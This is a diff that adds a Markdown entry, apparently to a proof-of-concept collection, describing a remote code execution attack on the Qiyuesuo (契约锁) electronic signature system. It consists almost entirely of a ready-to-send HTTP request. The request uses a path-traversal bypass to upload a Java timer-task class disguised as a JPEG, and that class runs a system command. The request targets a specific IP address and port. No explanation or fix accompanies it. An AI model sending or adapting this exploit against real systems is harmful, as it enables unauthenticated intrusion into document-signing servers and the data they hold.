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+## 契约锁电子签章系统RCE
+```
+POST /callback/%2E%2E;/code/upload HTTP/1.1
+Host: 103.242.174.137:9180
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
+Accept-Encoding: gzip, deflate
+Origin: https://103.242.174.137:9180
+Referer: https://103.242.174.137:9180
+X-Requested-With: XMLHttpRequest
+Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryco2lQ5vxCOn9Aq2R
+Connection: close
+
+------WebKitFormBoundaryco2lQ5vxCOn9Aq2R
+Content-Disposition: form-data; name="type";
+
+TIMETASK
+------WebKitFormBoundaryco2lQ5vxCOn9Aq2R
+Content-Disposition: form-data; name="file";filename="qys.jpg"
+
+package qiyuesuo;
+
+import com.qiyuesuo.utask.java.BaseTimerTask;
+
+public class qiyuesuo004 extends BaseTimerTask {
+    static {try{Runtime.getRuntime().exec("whoami");}catch (Exception e){}}
+}
+------WebKitFormBoundaryco2lQ5vxCOn9Aq2R--
+```